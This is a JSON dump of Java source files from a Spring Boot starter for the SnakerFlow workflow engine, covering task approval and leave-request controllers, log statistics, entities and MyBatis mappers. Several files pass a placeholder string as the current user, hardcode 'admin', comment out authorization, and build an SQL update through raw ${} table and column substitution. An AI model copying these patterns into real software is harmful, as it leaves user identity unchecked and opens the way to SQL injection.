{\n\t\t\tResponse.error(\"500\", \"不存在任务喽\");\n\t\t}\n\t\tWorkItem workItem = workItems.get(0);\n\t\tProcess process = snakerEngineFacets.getEngine().process().getProcessById(workItem.getProcessId());\n\t\tProcessModel model = process.getModel();\n\t\t// 获取开始节点下面的第一个节点\n\t\tString name = model.getStart().getOutputs().get(0).getTarget().getName();\n\t\tMap args = new HashMap(8);\n\t\targs.put(\"taskOperator\", \"sessionService.getCurrentUsername()\");\n\t\targs.put(\"taskOperatorName\", operatorNext);\n\t\targs.put(\"taskOperatorMsg\", taskOperatorMsg);\n\t\targs.put(\"taskOperatorFlag\", taskOperatorFlag);\n\t\tsnakerEngineFacets.executeAndJump(taskId, \"sessionService.getCurrentUsername()\", args, name);\n\t\treturn Response.ok();\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\t@RequestMapping(value = \"/task/approval\", method = RequestMethod.GET)\n\t@ApiOperation(value = \"【审批任务】同意\", tags = \"流程引擎-任务\")\n\tpublic Response doApproval(String taskId, String flag, String taskOperatorFlag, String taskOperatorMsg,\n\t\t\tString operatorNextid, String operatorNext, String processName, String processId) {\n\t\tTask task1 = snakerEngineFacets.getEngine().query().getTask(taskId);// 查询当前任务节点信息\n\t\tString orderId = task1.getOrderId();\n\t\tString taskName = task1.getTaskName();\n\t\tString processNameEn = String.valueOf(task1.getVariableMap().get(\"processName\"));// 获取流程名称\n\t\tString businessId = String.valueOf(task1.getVariableMap().get(\"businessId\"));// 获取流程名称\n\t\tProcess process = snakerEngineFacets.getEngine().process().getProcessByName(processNameEn);// 获取流程实例信息\n\t\tList<TaskModel> tm = process.getModel().getNode(task1.getTaskName()).getNextModels(TaskModel.class);// 获取流程下一环节节点信息\n\t\tif (!\"0\".equals(flag) && tm.size() > 0 && operatorNextid != null && operatorNextid.length() < 1) {// flag:0|1，判断节点的分支属性；下一环节处理人\n\t\t\treturn Response.error(\"1010\", \"流程审批人不能为空(驳回及非最终环节)！\");\n\t\t}\n\t\tif (tm == null || tm.size() == 0) {\n\t\t\tlog.info(\"流程结束！\" + processNameEn, \"orderId=\" + orderId);\n\t\t\t//@TODO wujun  改定时任务处理\n\t\t\tString errMsg = \"\";\n\t\t\t//bizCommonService.doAfterFlowFinish(processNameEn, orderId, businessId, taskName);\n\t\t\tif (errMsg.length() > 0) {\n\t\t\t\tResponse.error(\"2022\", errMsg);\n\t\t\t}\n\t\t}\n\t\tMap args = new HashMap(8);\n\t\targs.put(\"taskOperator\", \"sessionService.getCurrentUsername()\");\n\t\targs.put(\"taskOperatorName\", operatorNext);\n\t\targs.put(\"taskOperatorMsg\", taskOperatorMsg);\n\t\targs.put(\"taskOperatorFlag\", taskOperatorFlag);\n\t\ttry {\n\t\t\targs.put(\"flag\", Integer.valueOf(flag));\n\t\t} catch (NumberFormatException e) {\n\t\t\tlog.error(\"flag Integer.valueOf(flag) NumberFormatException 暂不处理 \");\n\t\t\te.printStackTrace();\n\t\t}\n\t\tList<Task> tasks = snakerEngineFacets.execute(taskId, \"sessionService.getCurrentUsername()\", args);\n\t\tfor (Task task : tasks) {\n\t\t\tsnakerEngineFacets.getEngine().task().addTaskActor(task.getId(), operatorNextid.split(\",\"));\n\t\t}\n\t\treturn Response.ok();\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\t@RequestMapping(value = \"/task/submit\", method = { RequestMethod.GET, RequestMethod.POST })\n\t@ApiOperation(value = \"【提交任务】\", tags = \"流程引擎-任务\")\n\tpublic Response doSubmitTask(@RequestBody Map param) {\n\t\tString processName = MapUtil.getStr(param, \"processName\");\n\t\tString taskNewName = MapUtil.getStr(param, \"taskNewName\");\n\t\tString taskOperatorMsg = MapUtil.getStr(param, \"taskOperatorMsg\");\n\t\tString operatorNextid = MapUtil.getStr(param, \"operatorNextid\");\n\t\tString operatorNext = MapUtil.getStr(param, \"operatorNext\");\n\t\tString taskOperatorFlag = MapUtil.getStr(param, \"taskOperatorFlag\");\n\t\tString businessId = MapUtil.getStr(param, \"businessId\");\n//\t\tSysUser user = sysUserService.getById(sessionService.getCurrentUserId());\n\t\t// <!-- 流程flow-mark001,不同流程，环节节点、处理人、表结构，业务ID等，都不一样 -->\n\t\tString orderName = taskNewName;\n\t\tList<Map<String, String>> list = WorkflowsConfig.getList();\n\t\tfor (Map<String, String> item : list) {\n\t\t\tif (processName.equalsIgnoreCase(item.get(\"processName\"))) {\n//    \t\t\tString step1 = item.get(\"step1\");\n//    \t\t\tString step2 = item.get(\"step2\");\n\t\t\t\tString tname = item.get(\"tname\");\n//    \t\t\tString process = item.get(\"process\");\n\t\t\t\tString taskName = item.get(\"taskName\");\n\t\t\t\tif (orderName == null || orderName.length() < 1) {\n\t\t\t\t\t//@TODO wujun\n//\t\t\t\t\torderName = user.getRealName() + taskName /* + PrimaryKeyService.getOrderIdPrefix(new Date())  */;\n\t\t\t\t}\n\t\t\t\tMap args = new HashMap(8);\n\t\t\t\targs.put(\"taskOperator\", \"sessionService.getCurrentUsername()\");\n\t\t\t\targs.put(\"step1\", \"sessionService.getCurrentUsername()\");\n\t\t\t\targs.put(\"step2\", operatorNextid.split(\",\"));\n\t\t\t\targs.put(\"processName\", processName);\n\t\t\t\targs.put(\"tname\", tname);\n\t\t\t\targs.put(\"businessId\", businessId);\n\t\t\t\targs.put(\"taskOperatorMsg\", taskOperatorMsg);\n\t\t\t\targs.put(\"taskOperatorFlag\", taskOperatorFlag);\n\t\t\t\targs.put(SnakerEngine.ID, orderName);\n\t\t\t\tOrder order = snakerEngineFacets.startAndExecute(processName, null, \"sessionService.getCurrentUsername()\",\n\t\t\t\t\t\targs);\n\t\t\t\tif (businessId.contains(\",\")) {\n\t\t\t\t\tfor (String id : businessId.split(\",\")) {\n\t\t\t\t\t\tbizCommonMapper.updateRecordByColumnValue(tname, \"order_id\", order.getId(), id);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tbizCommonMapper.updateRecordByColumnValue(tname, \"order_id\", order.getId(), businessId);\n\t\t\t\t}\n\t\t\t\treturn Response.ok();\n\t\t\t}\n\t\t}\n\t\treturn Response.error(\"2010\", \"流程配置有问题！\");\n\t}\n\n\t/**\n\t * 历史任务撤回，这玩意只能撤回刚发出的且没有被处理的\n\t *\n\t * @param taskId\n\t * @return\n\t */\n\t@GetMapping(\"/task/undo\")\n\t@ApiOperation(value = \"根据任务主键id、操作人撤回任务\", tags = \"流程引擎-任务\")\n\tpublic Response historyTaskUndo(String taskId) {\n\t\tsnakerEngineFacets.getEngine().task().withdrawTask(taskId, \"sessionService.getCurrentUsername()\");\n\t\treturn Response.ok();\n\t}\n\n\t@GetMapping(\"/task/transferMajor\")\n\t@ApiOperation(value = \"转办\", tags = \"流程引擎-任务\")\n\tpublic Response transferMajor(String taskId, String nextOperator) {\n\t\tsnakerEngineFacets.transferMajor(taskId, \"sessionService.getCurrentUsername()\", nextOperator.split(\",\"));\n\t\treturn Response.ok();\n\t}\n\n\t/**\n\t * ------------------ 流程\n\t */\n\t/**\n\t * 流程实例管理\n\t */\n\t@ApiOperation(value = \"流程分页查询\", tags = \"流程引擎-流程实例\")\n\t@RequestMapping(value = \"/order/list\", method = RequestMethod.GET)\n\tpublic Response orderList(Page<HistoryOrder> page, String displayName) {\n\t\tQueryFilter filter = new QueryFilter();\n\t\tif (StringHelper.isNotEmpty(displayName)) {\n\t\t\tfilter.setDisplayName(displayName);\n\t\t}\n\t\tfilter.orderBy(\"create_Time\").order(DESC);\n\t\tsnakerEngineFacets.getEngine().query().getHistoryOrders(page, filter);\n\t\treturn PageResponse.ok(JSONUtil.parse(page.getResult()), page.getTotalCount());\n\t}\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/StatisticsController.java",
    "content": "package io.github.wujun728.snakerflow;\n\nimport java.util.List;\n\nimport io.github.wujun728.snakerflow.module.Response;\nimport io.github.wujun728.snakerflow.process.SnakerEngineFacets;\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.HistoryTask;\nimport org.snaker.engine.entity.Task;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n//import com.laker.admin.module.ext.mapper.ExtLogMapper;\n//import io.github.wujun728.system.service.HttpSessionService;\n\n//import cn.dev33.satoken.stp.StpUtil;\n//import cn.dev33.satoken.stp.StpUtil;\nimport cn.hutool.core.lang.Dict;\n\n@RestController\n@RequestMapping(\"/sys/statistics\")\npublic class StatisticsController {\n    @Autowired\n    private SnakerEngineFacets snakerEngineFacets;\n//    @Resource\n//    HttpSessionService sessionService;\n//    @Autowired\n//    ExtLogMapper extLogMapper;\n\n\n    @GetMapping(\"/console\")\n    public Response get() {\n    \t//获取当前登陆人\n        String userId = \"admin\";//sessionService.getCurrentUsername();\n        List<Task> activeTasks = snakerEngineFacets.getEngine().query()\n                .getActiveTasks(new QueryFilter().setOperator(userId));\n        List<HistoryTask> historyTasks = snakerEngineFacets.getEngine().query()\n                .getHistoryTasks(new QueryFilter().setOperator(userId));\n        Dict res = Dict.create().set(\"todo\", activeTasks.size())\n                .set(\"done\", historyTasks.size())\n                .set(\"ip\", \"IP地址\")\n                .set(\"online\", 0);\n        return Response.ok(res);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/WorkflowsConfig.java",
    "content": "package io.github.wujun728.snakerflow;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@ConfigurationProperties(prefix = \"workflows\")\npublic class WorkflowsConfig {\n\t\n    public static List<Map<String, String>> list;   //static 才能拿配置值\n\n    public static List<Map<String, String>> getList() {\n        return list;\n    }\n\n    public void setList(List<Map<String, String>> list) {\n    \tWorkflowsConfig.list = list;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/config/SankerflowAutoConfig.java",
    "content": "package io.github.wujun728.snakerflow.config;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @author wujun\n * @date 2021/3/19\n */\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.snakerflow\")\n@MapperScan(basePackages = \"io.github.wujun728.snakerflow.**.mapper\")\npublic class SankerflowAutoConfig {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/controller/ExtLeaveController.java",
    "content": "package io.github.wujun728.snakerflow.ext.controller;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport io.github.wujun728.snakerflow.ext.entity.ExtLeave;\nimport io.github.wujun728.snakerflow.ext.service.IExtLeaveService;\nimport io.github.wujun728.snakerflow.module.PageResponse;\nimport io.github.wujun728.snakerflow.module.Response;\nimport io.github.wujun728.snakerflow.process.BaseFlowController;\nimport org.snaker.engine.SnakerEngine;\nimport org.snaker.engine.entity.Order;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.transaction.annotation.Transactional;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport io.github.wujun728.snakerflow.process.SnakerEngineFacets;\n//import io.github.wujun728.system.entity.SysUser;\n//import io.github.wujun728.system.service.HttpSessionService;\n//import io.github.wujun728.system.service.UserService;\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.date.DateUtil;\nimport io.swagger.annotations.ApiOperation;\n\n/**\n * <p>\n * 前端控制器\n * </p>\n *\n * \n * @since 2021-08-19\n */\n@RestController\n@RequestMapping(\"/ext/leave\")\n//@Metrics\npublic class ExtLeaveController extends BaseFlowController {\n//\t@Resource\n//\tHttpSessionService sessionService;\n\t@Autowired\nIExtLeaveService extLeaveService;\n\t@Autowired\n\tprivate SnakerEngineFacets snakerEngineFacets;\n//\t@Autowired\n//\tprivate UserService sysUserService;\n\n\t@GetMapping\n\t@ApiOperation(value = \"分页查询\")\n\tpublic PageResponse pageAll(@RequestParam(required = false, defaultValue = \"1\") long page,\n                                @RequestParam(required = false, defaultValue = \"10\") long limit) {\n\t\tPage roadPage = new Page<>(page, limit);\n\t\tLambdaQueryWrapper<ExtLeave> queryWrapper = new QueryWrapper().lambda();\n\t\tqueryWrapper.orderByDesc(ExtLeave::getCreateTime);\n\t\tPage pageList = extLeaveService.page(roadPage, queryWrapper);\n\t\tList<ExtLeave> records = pageList.getRecords();\n\t\trecords.forEach(extLeave -> {\n\t\t\tif(extLeave.getOrderId()!=null && extLeave.getOrderId().length()>0) {\n\t\t\t\t//extLeave.setCreateUser(sysUserService.getById(extLeave.getCreateBy()));\n\t\t\t\tthis.setFlowStatusInfo(extLeave);\n\t\t\t}\n\n\t\t});\n\t\treturn PageResponse.ok(records, pageList.getTotal());\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\t@PostMapping\n\t@ApiOperation(value = \"发起请假\")\n\t@Transactional(rollbackFor = Exception.class)\n\tpublic Response saveOrUpdate(@RequestBody ExtLeave param) {\n\t\tif (param.getLeaveId() == null) {\n\t\t\tparam.setLeaveUserId(String.valueOf(\"sessionService.getCurrentUsername()\"));\n\t\t\tMap args = new HashMap(8);\n\t\t\targs.put(\"day\", param.getLeaveDay());\n\t\t\tOrder leave = this.doCreateTask(\"leave\", args);\n\t\t\tparam.setOrderId(leave.getId());\n\t\t\textLeaveService.saveOrUpdate(param);\n\t\t} else {\n\t\t\textLeaveService.saveOrUpdate(param);\n\t\t}\n\t\treturn Response.ok();\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic Order doCreateTask(String processName, Map map) {\n\t\tMap args = new HashMap(8);\n\t\targs.putAll(map);\n\t\t// 当前登录人\n\t\targs.put(\"step1\", \"sessionService.getCurrentUsername()\");\n\t\t// 部门经理岗位的人 去用户表查询当前登录人同部门 and 岗位 = 部门经理\n\t\targs.put(\"step2\", new String[]{\"admin\",\"wangwei\"});\n\t\t// 总经理岗位的人 去用户表查询当前登录人同部门 and 岗位 = 总经理\n//\t\targs.put(\"step3\", \"admin\");\n\t\t\n\t\targs.put(\"process\", \"admin\");\n\t\t//SysUser user = sysUserService.getById(sessionService.getCurrentUserId());\n\t\targs.put(SnakerEngine.ID, /*user.getRealName()*/ \"admin\" + \"-\" + DateUtil.now() + \"的请假申请！!!\");\n\t\tOrder order = snakerEngineFacets.startAndExecute(processName, 0, \"sessionService.getCurrentUsername()\", args);\n\t\treturn order;\n\t}\n\n\t@GetMapping(\"/{id}\")\n\t@ApiOperation(value = \"根据id查询\")\n\tpublic Response get(@PathVariable Long id) {\n\t\treturn Response.ok(extLeaveService.getById(id));\n\t}\n\n\t@DeleteMapping(\"/{id}\")\n\t@ApiOperation(value = \"根据id删除\")\n\tpublic Response delete(@PathVariable Long id) {\n\t\treturn Response.ok(extLeaveService.removeById(id));\n\t}\n\n\t@DeleteMapping(\"/batch/{ids}\")\n\t@ApiOperation(value = \"根据批量删除ids删除\")\n\tpublic Response batchRemove(@PathVariable Long[] ids) {\n\t\treturn Response.ok(extLeaveService.removeByIds(CollUtil.toList(ids)));\n\t}\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/controller/ExtLogController.java",
    "content": "package io.github.wujun728.snakerflow.ext.controller;\n\nimport java.util.List;\n\nimport io.github.wujun728.snakerflow.ext.entity.ExtLog;\nimport io.github.wujun728.snakerflow.ext.service.IExtLogService;\nimport io.github.wujun728.snakerflow.module.PageResponse;\nimport io.github.wujun728.snakerflow.module.Response;\nimport io.github.wujun728.snakerflow.ext.mapper.ExtLogMapper;\nimport io.github.wujun728.snakerflow.ext.vo.LogStatisticsTop10Vo;\nimport io.github.wujun728.snakerflow.ext.vo.LogStatisticsVo;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.swagger.annotations.ApiOperation;\n\n/**\n * <p>\n * 日志 前端控制器\n * </p>\n *\n * \n * @since 2021-08-16\n */\n@RestController\n@RequestMapping(\"/ext/log\")\n//@Metrics\npublic class ExtLogController {\n    @Autowired\n    IExtLogService extLogService;\n\n    @Autowired\n    ExtLogMapper extLogMapper;\n\n//    @Autowired\n//    ISysUserService sysUserService;\n\n    @GetMapping\n    @ApiOperation(value = \"日志分页查询\")\n    //@SaCheckPermission(\"log.list\")\n    public PageResponse pageAll(@RequestParam(required = false, defaultValue = \"1\") long page,\n                                @RequestParam(required = false, defaultValue = \"10\") long limit,\n                                String keyWord) {\n        Page roadPage = new Page<>(page, limit);\n        LambdaQueryWrapper<ExtLog> queryWrapper = new QueryWrapper().lambda();\n        if (StrUtil.isNotBlank(keyWord)) {\n            queryWrapper.like(ExtLog::getRequest, keyWord);\n        }\n        queryWrapper.orderByDesc(ExtLog::getCreateTime);\n        Page pageList = extLogService.page(roadPage, queryWrapper);\n        List<ExtLog> records = pageList.getRecords();\n        records.forEach(extLog -> {\n            if (extLog.getUserId() != null) {\n//            \t设置日志用户名称\n//                SysUser sysUser = sysUserService.getById(extLog.getUserId());\n//                extLog.setUser(sysUser);\n            }\n\n        });\n        return PageResponse.ok(records, pageList.getTotal());\n    }\n\n\n    @GetMapping(\"/visits7day\")\n    @ApiOperation(value = \"7天访问量\")\n    public Response visits7day() {\n        List<LogStatisticsVo> logStatisticsVo = extLogMapper.selectStatistics7Day();\n        return Response.ok(logStatisticsVo);\n    }\n\n    @GetMapping(\"/visitsTop10IP\")\n    @ApiOperation(value = \"visitsTop10IP\")\n    public PageResponse visitsTop10IP() {\n        List<LogStatisticsTop10Vo> logStatisticsVo = extLogMapper.selectStatisticsVisitsTop10IP();\n        return PageResponse.ok(logStatisticsVo, 10L);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/entity/ExtLeave.java",
    "content": "package io.github.wujun728.snakerflow.ext.entity;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport io.github.wujun728.snakerflow.process.BaseFlowStatus;\n//import io.github.wujun728.system.entity.SysUser;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\n/**\n * <p>\n *\n * </p>\n *\n * \n * @since 2021-08-19\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\npublic class ExtLeave extends BaseFlowStatus implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(value = \"leave_id\", type = IdType.AUTO)\n    private Long leaveId;\n\n    /**\n     * 请假天数\n     */\n    private Integer leaveDay;\n\n    /**\n     * 请假原因\n     */\n    private String leaveReason;\n\n    /**\n     * 请假人id\n     */\n    private String leaveUserId;\n\n//    @TableField(exist = false)\n//    private SysUser createUser;\n\n    /**\n     * 创建人\n     */\n    @TableField(value = \"create_by\" ,fill = FieldFill.INSERT)\n    private Long createBy;\n\n    /**\n     * 创建人部门\n     */\n    @TableField(value = \"create_dept_id\" ,fill = FieldFill.INSERT)\n    private Long createDeptId;\n\n    /**\n     * 创建时间\n     */\n//    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\")\n    @TableField(value = \"create_time\" ,fill = FieldFill.INSERT)\n    @JsonFormat(pattern=\"yyyy-MM-dd HH:mm:ss\",timezone = \"GMT+8\")\n    private Date createTime;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/entity/ExtLog.java",
    "content": "package io.github.wujun728.snakerflow.ext.entity;\n\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n//import io.github.wujun728.system.entity.SysUser;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\n/**\n * <p>\n * 日志\n * </p>\n *\n * \n * @since 2021-08-16\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\npublic class ExtLog implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"log_id\", type = IdType.AUTO)\n    private Long logId;\n\n    /**\n     * 用户id\n     */\n    private Long userId;\n//    @TableField(exist = false)\n//    private SysUser user;\n\n    /**\n     * ip地址\n     */\n    private String ip;\n\n    private String city;\n\n    /**\n     * 浏览器或者app信息\n     */\n    private String client;\n    private String uri;\n    private String method;\n\n    /**\n     * 请求\n     */\n    private String request;\n\n    /**\n     * 响应\n     */\n    private String response;\n\n    private Boolean status;\n\n    /**\n     * 耗时ms\n     */\n    private Integer cost;\n\n    /**\n     * 创建时间\n     */\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\", timezone = \"GMT+8\")\n    private LocalDateTime createTime;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/mapper/ExtLeaveMapper.java",
    "content": "package io.github.wujun728.snakerflow.ext.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport io.github.wujun728.snakerflow.ext.entity.ExtLeave;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * \n * @since 2021-08-19\n */\npublic interface ExtLeaveMapper extends BaseMapper<ExtLeave> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/mapper/ExtLogMapper.java",
    "content": "package io.github.wujun728.snakerflow.ext.mapper;\n\nimport java.util.List;\n\nimport io.github.wujun728.snakerflow.ext.entity.ExtLog;\nimport io.github.wujun728.snakerflow.ext.vo.LogStatisticsTop10Vo;\nimport io.github.wujun728.snakerflow.ext.vo.LogStatisticsVo;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Select;\nimport org.apache.ibatis.annotations.Update;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n * 日志 Mapper 接口\n * </p>\n *\n * \n * @since 2021-08-16\n */\n@Mapper\npublic interface ExtLogMapper extends BaseMapper<ExtLog> {\n\n\n    @Select(\"select DATE_FORMAT(create_time,'%Y-%m-%d') date,count(*) value from ext_log where DATE_SUB(CURDATE(), INTERVAL 7 DAY) <= create_time  group by date ORDER BY create_time \")\n    List<LogStatisticsVo> selectStatistics7Day();\n\n    @Select(\"SELECT\\n\" +\n            \"\\tw.ip,\\n\" +\n            \"\\tcity,\\n\" +\n            \"\\tcount( * ) \\n\" +\n            \"\\tVALUE\\t\\n\" +\n            \"FROM\\n\" +\n            \"\\text_log w \\n\" +\n            \"WHERE\\n\" +\n            \"\\tDATE_SUB( CURDATE( ), INTERVAL 1 day ) <= w.create_time \\n\" +\n            \"GROUP BY\\n\" +\n            \"\\tw.ip \\n\" +\n            \"ORDER BY\\n\" +\n            \"\\t\\n\" +\n            \"VALUE\\n\" +\n            \"DESC \\n\" +\n            \"LIMIT 10\")\n    List<LogStatisticsTop10Vo> selectStatisticsVisitsTop10IP();\n\n    @Select(\"SELECT count(DISTINCT ip) from ext_log\")\n    int selectDistinctIp();\n    \n    @Update(\" update ${tableName}  set  ${columnName}  = #{columnValue}  where id = #{id} \")\n\tint updateRecordByColumnValue(@Param(\"tableName\") String tableName, @Param(\"columnName\") String columnName,\n\t\t\t@Param(\"columnValue\") String columnValue, @Param(\"id\") String id);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/service/IExtLeaveService.java",
    "content": "package io.github.wujun728.snakerflow.ext.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.snakerflow.ext.entity.ExtLeave;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * \n * @since 2021-08-19\n */\npublic interface IExtLeaveService extends IService<ExtLeave> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/service/IExtLogService.java",
    "content": "package io.github.wujun728.snakerflow.ext.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.snakerflow.ext.entity.ExtLog;\n\n/**\n * <p>\n * 日志 服务类\n * </p>\n *\n * \n * @since 2021-08-16\n */\npublic interface IExtLogService extends IService<ExtLog> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/service/impl/ExtLeaveServiceImpl.java",
    "content": "package io.github.wujun728.snakerflow.ext.service.impl;\n\nimport io.github.wujun728.snakerflow.ext.entity.ExtLeave;\nimport io.github.wujun728.snakerflow.ext.mapper.ExtLeaveMapper;\nimport io.github.wujun728.snakerflow.ext.service.IExtLeaveService;\nimport org.springframework.stereotype.Service;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * \n * @since 2021-08-19\n */\n@Service\npublic class ExtLeaveServiceImpl extends ServiceImpl<ExtLeaveMapper, ExtLeave> implements IExtLeaveService {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/service/impl/ExtLogServiceImpl.java",
    "content": "package io.github.wujun728.snakerflow.ext.service.impl;\n\nimport io.github.wujun728.snakerflow.ext.entity.ExtLog;\nimport io.github.wujun728.snakerflow.ext.mapper.ExtLogMapper;\nimport io.github.wujun728.snakerflow.ext.service.IExtLogService;\nimport org.springframework.stereotype.Service;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\n\n/**\n * <p>\n * 日志 服务实现类\n * </p>\n *\n * \n * @since 2021-08-16\n */\n@Service\npublic class ExtLogServiceImpl extends ServiceImpl<ExtLogMapper, ExtLog> implements IExtLogService {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/vo/LogStatisticsTop10Vo.java",
    "content": "package io.github.wujun728.snakerflow.ext.vo;\n\nimport lombok.Data;\n\n@Data\npublic class LogStatisticsTop10Vo {\n\n    private String ip;\n    private String city;\n    private Integer value;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/ext/vo/LogStatisticsVo.java",
    "content": "package io.github.wujun728.snakerflow.ext.vo;\n\nimport lombok.Data;\n\n@Data\npublic class LogStatisticsVo {\n\n    private String date;\n    private Integer value;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/EasyCustomHandler.java",
    "content": "package io.github.wujun728.snakerflow.module;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.snaker.engine.core.Execution;\nimport org.snaker.engine.entity.Task;\nimport org.snaker.engine.handlers.IHandler;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 自定义模型操作处理类，用于完成流程的全自动编排\n * https://yunmel.gitbooks.io/snakerflow/content/4xiang-xi-shuo-ming/418-zi-ding-yi-jie-dian.html\n */\n@Slf4j\npublic class EasyCustomHandler implements IHandler {\n    @Override\n    public void handle(Execution execution) {\n        // 获取参数\n        Map<String, Object> args = execution.getArgs();\n        args.forEach((s, o) -> System.out.println(s + \":\" + o));\n        List<Task> tasks = execution.getTasks();\n        tasks.forEach(task -> {\n            System.out.println(task.getTaskName());\n        });\n\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/EasyGlobalCreateTaskInterceptor.java",
